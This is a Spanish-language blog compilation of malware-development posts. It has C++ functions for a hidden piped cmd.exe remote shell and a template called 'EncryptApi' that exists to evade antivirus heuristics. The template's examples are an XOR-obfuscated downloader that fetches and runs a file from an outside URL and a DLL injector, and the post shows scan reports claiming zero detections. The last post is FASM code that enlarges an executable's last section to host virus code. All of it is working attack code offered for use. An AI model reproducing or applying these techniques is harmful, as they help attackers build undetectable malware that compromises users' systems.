E0N Productions

E0N-Productions.blogspot.com

Funciones para crear una remote shell

Con estas cuatro simples funciones os será muy fácil leer y escribir en una consola. En main podéis ver un simple ejemplo de como usar el comando dir ;)


/*****************************************************
*** Funciones para crear una remote shell
***
*** E0N Productions
*** http://e0n-productions.blogspot.com/
*****************************************************/
#include < iostream>
#include < windows.h>
#include < string>

// FUNCIONES
void IniShell(); // Crea la shell
void DestruirShell(); // Destruye la shell
std::string LeerPipe(); // Lee el resultado devuelto por la shell
void EscribirPipe(std::string Escribir); // Para escribir en el pipe

// DECLARACIONES
HANDLE stdinRd, stdinWr, stdoutRd, stdoutWr; // Los pipes
PROCESS_INFORMATION pInfo; // Estructura para lanzar y cerrar la shell


// Para saber cuantos bytes hay que leer
DWORD bTotales = 0;

void main()
{
IniShell();
std::cout << "\n********* Shell lanzada *********\n\n";


std::cout << LeerPipe();

EscribirPipe("dir H:\\windows\\system32\n");
std::cout << LeerPipe();

std::cout << "\n\n\n";



std::cout << "\n\n********* Shell cerrada *********\n";
DestruirShell();
}

// Initialize the shell
void IniShell()
{
SECURITY_ATTRIBUTES saPipe; // Atributos para crear el pipe
STARTUPINFO sInfo; // Estructura para lanzar la shell
std::string sRutaCmd; // Para hallar la ruta de la consola
char cRutaCmd[1024];


// Rellenamos la estructura del pipe
ZeroMemory(&saPipe,sizeof(saPipe));
saPipe.nLength = sizeof(saPipe);
saPipe.lpSecurityDescriptor = NULL;
saPipe.bInheritHandle = TRUE;

// Creamos los pipes
CreatePipe(&stdinRd, &stdinWr, &saPipe, 0);
CreatePipe(&stdoutRd, &stdoutWr, &saPipe, 0);

// Rellenamos las estructuras para lanzar la shell
GetStartupInfo(&sInfo);
sInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sInfo.wShowWindow = SW_HIDE;
sInfo.hStdOutput = stdoutWr;
sInfo.hStdError = stdoutWr;
sInfo.hStdInput = stdinRd;

// Obtenemos la ruta de la consola
GetSystemDirectory(cRutaCmd, 1024);
sRutaCmd = cRutaCmd;
sRutaCmd += "\\cmd.exe";

// Lanzamos el proceso
CreateProcess(NULL, (char*)sRutaCmd.c_str(),NULL,NULL,TRUE,0,NULL,NULL,&sInfo,&pInfo);

Sleep(100);
}

// Read the Shell
std::string LeerPipe()
{
char buf[1024]; // Variables para leer el pipe
DWORD bUsados; // Bytes usados en la lectura
std::string retorno,temp;
long int Leidos; // Los bytes que vamos leyendo

PeekNamedPipe(stdoutRd, NULL, NULL, NULL, &bTotales, NULL); // Calculamos cuantos bytes tenemos que leer
ZeroMemory(buf,sizeof(buf)); // Limpiamos el buffer
Leidos = 0;

do // Leemos el pipe
{
ReadFile(stdoutRd, buf, sizeof(buf), &bUsados, NULL);

// Sumamos a la cadena de retorno
temp = buf;
retorno += temp.substr(0,bUsados);
Leidos += bUsados;
Sleep(10);
}while(Leidos < bTotales || bUsados == 1024 );

return retorno;
}

// Write in the shell
void EscribirPipe(std::string Escribir)
{
DWORD bUsados;
WriteFile(stdinWr,Escribir.c_str(),Escribir.length(),&bUsados,NULL);
Sleep(100);
}

// Close the shell
void DestruirShell()
{
TerminateProcess(pInfo.hProcess, 0);
CloseHandle(stdinRd);
CloseHandle(stdinWr);
CloseHandle(stdoutRd);
CloseHandle(stdoutWr);
Sleep (100);
}

EncryptApi

[+] ¿Qué es EncryptApi?

EncryptApi es una platilla escrita en C++ que vale para encriptar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
Su uso es tan simple como este:

#include "EncryptApi.hpp"

int main()
{
EncryptApi myMessageBox("MessageBoxA","User32.dll", 5);
int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
}


[+] ¿Qué es cada parámetro?

Como habréis visto el uso es bastante simple, la declaración funciona así:

EncryptApi (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);


Y gracias a la sobrecarga del operador () se puede llamar al api como se haría normalmente tan solo indicando en el primer parámetro el número total de parámetros del api.

[+] ¿Qué es número_de_bytes_a_copiar?

Esta es la única parte parte que tiene un poco de dificultad. Internamente la clase crea un buffer donde copia los bytes que le indiquemos en este parámetro he introduce un salto a la dirección del api más número_de_bytes_a_copiar.
De esta forma la clase, en vez de llamar al api, llama a este buffer, ejecutándose todo el código del api pero sin realizar una llamada directa, por lo que los antivirus ni se enteran.

¿Cómo podemos saber cuanto vale este valor? Pues muy fácil, ejecutamos el archivoDirApi.exe, que nos devolverá la dirección del api en memoria. Su código es este:
#include
#include
using namespace std;

void main()
{
char nombreApi[50];
char nombreDll[50];

cout << "Introduzca el nombre del api: "; cin >> nombreApi;
cout << "Introduzca el nombre de la dll: "; cin >> nombreDll;

cout << "\nLa direccion del api es: " <<>

En el caso del ejemplo la salida en mi PC es la siguiente:

Introduzca el nombre del api: MessageBoxA
Introduzca el nombre de la dll: User32.Dll

La direccion del api es: 77D504EA
Presione una tecla para continuar . . .


Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.

[+] ¿Y los resultados?

Pues voy aponer dos ejemplos típicamente detectados, un simple downloader y un inyector (usa CreateRemoteThread).

DOWNLOADER:
#include "EncryptApi.hpp"

void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave]; } int main() { // Encriptación de cadenas const char key[] = "df5DF4s"; const int tamKey = 7; char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20, 0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 }; char strUrlmon[] = { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 }; char strShellExecuteA[] = { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 }; char strShell32[] = { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 }; xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey); xor(strUrlmon, key, sizeof(strUrlmon)-1, tamKey); xor(strShellExecuteA, key, sizeof(strShellExecuteA)-1, tamKey); xor(strShell32, key, sizeof(strShell32)-1, tamKey); // Código EncryptApi myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
EncryptApi myShellExecute (strShellExecuteA, strShell32, 5);

myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
myShellExecute (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
}


Detección:

File Info
Report generated: 16.5.2009 at 14.53.10 (GMT 1)
File size: 8 KB
MD5 Hash: 70B16F803C25C5E50A27A07F765CDB68
SHA1 Hash: 98190B3085CCFAFC91BCF4458A072728C2E0D895
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23

Detections
a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!

Quick Heal - Nothing found!

Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found

Scan report generated by
NoVirusThanks.org



INYECTOR:
#include "EncryptApi.hpp"

void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave]; } int main() { // Encriptacion de cadenas const char key[] = "df5DF4s"; const int tamKey = 7; char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b, 0x16, 0x3, 0x54, 0x20, 0x46 }; char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16, 0x9, 0x9, 0x47, 0x3d, 0x46 }; char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb, 0x64 }; char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 }; char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 0x1, 0x27, 0x35 }; char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0, 0x64 }; char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 }; char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 }; xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey); xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey); xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey); xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey); xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey); xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey); xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey); xor(strKernel32, key, sizeof(strKernel32)-1, tamKey); EncryptApi myOpenProcess (strOpenProcess, strKernel32, 5);
EncryptApi myGetModuleHandle (strGetModuleHandleA, strKernel32, 5);
EncryptApi myGetProcAddress (strGetProcAddress, strKernel32, 5);
EncryptApi myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7);
EncryptApi myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5);
EncryptApi myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5);
EncryptApi myCloseHandle (strCloseHandle, strKernel32, 5);

// Inyeccion dll
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid = 1988;
char rutaDll[] = "C:\\Dll.dll";

proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
myCloseHandle(1,proceso);


return 0;
}


Detección:

File Info

Report generated: 16.5.2009 at 16.28.41 (GMT 1)
File size: 11 KB
MD5 Hash: 52CDDB1FB86FD33D2FFF238FDAB67CED
SHA1 Hash: 029C18B8FECC2522C65AB88C04D820EF32ECC091
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23

Detections
a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
NoVirusThanks.org



Como podéis ver de forma complementaria he usado una función para encriptar algunas cadenas, pues algún AV detectaba el ejecutable simplemente por contener esos strings sospechosos. Podéis usar cualquier encriptación, aunque un simple xor basta. He adjuntado el archivo XOR.exe que os devuelve la cadena encriptada para que la metáis en vuestro código directamente.

Todos los códigos han sido compilados con VC++ 2008 express edition.


Descarga:
EncryptApi - E0N Productions

Traducción de la parte en asm a AT&T por Arcangel_0x7C5:
http://arkangel.comuf.com//c++/EncryptApi.hpp

Ampliando la última sección de un ejecutable

Pues este código ya tiene su tiempo, pero lo acabo de rescatar, así que lo comparto con todos vosotros.

Es una simple función en FASM para ampliar la última sección de un ejecutable y poder alojar en ella un bonito código vírico. Bueno, sin más dilación a lo que interesa:


; ****************************************************************************
; *** Código que amplía 0xFF bytes la última sección de un ejecutable.
; ***
; *** -> Le sumamos al raw size de la última sección el tamaño que
; *** queremos ampliarla.
; *** -> Le sumamos al virtual size el SectionAlignment.
; *** -> Le sumamos al SizeOfImage el tamaño que queremos ampliar la
; *** última sección y guardamos el archivo.
; ***
; *** E0N Productions 2007
; *** http://e0n-productions.blogspot.com/
; ****************************************************************************

include 'H:\archivos de programa\fasm\include\win32ax.inc'

.code
start:
; Usamos la pila para guardar nuestras variables
sub esp, 20
; [esp+0] -> El handle del archivo
; [esp+4] -> Handle del archivo mapeado
; [esp+8] -> Lo que sería el "ImageBase" del archivo proyectado
; [esp+12] -> SectionAligement
; [esp+16] -> NumberOfSections
; Sobran dos bytes por alineamiento en la pila

; Mapeamos el archivo en memoria con 40 bytes de más
invoke CreateFile, ruta, GENERIC_READ+GENERIC_WRITE, FILE_SHARE_WRITE+FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0
mov dword[esp], eax
invoke GetFileSize, eax, 0
add eax, 0xFF
mov esi, dword[esp]
invoke CreateFileMapping, esi, 0, PAGE_READWRITE, 0, eax, 0
mov [esp+4], eax
invoke MapViewOfFile, eax, FILE_MAP_ALL_ACCESS, 0, 0, 0
mov [esp+8], eax

; Obtenemos los datos necesarios del PE
mov ebx, dword[eax+0x3C] ; EBX = Signature
mov edi, dword[eax+0x3C] ; Guardamos también en edi la posición del signature para usarla luego
add ebx, eax
add edi, eax

add dword[ebx+0x50], 0xFF ; Le sumamos al SizeOfImage el tamaño a ampliar
mov eax, dword[ebx+0x38]
mov [esp+12], eax
mov ax, word[ebx+0x6]
mov [esp+16], ax

; Obtenemos los datos necesarios de la última sección
mov ax, word[esp+16]
dec eax
mov edx, 0x28
mul edx
add edi, eax
add edi, 248 ; 248 = Tamaño OptionalHeader

add dword[edi+16], 0xFF ; Le sumamos al RawSize el tamaño a ampliar
mov eax, dword[esp+12]
add dword[edi+8], eax ; Le sumamos al VirtualSize el SectionAlignment


; Liberamos memoria, cuadramos la pila y salimos
mov esi, esp
invoke CloseHandle, dword[esi]
invoke CloseHandle, dword[esi+4]
invoke UnmapViewOfFile, dword[esi+8]
add esp, 20
invoke ExitProcess, 0



ruta db 'H:\Hola.exe', 0 ; La ruta del archivo a tratar

.end start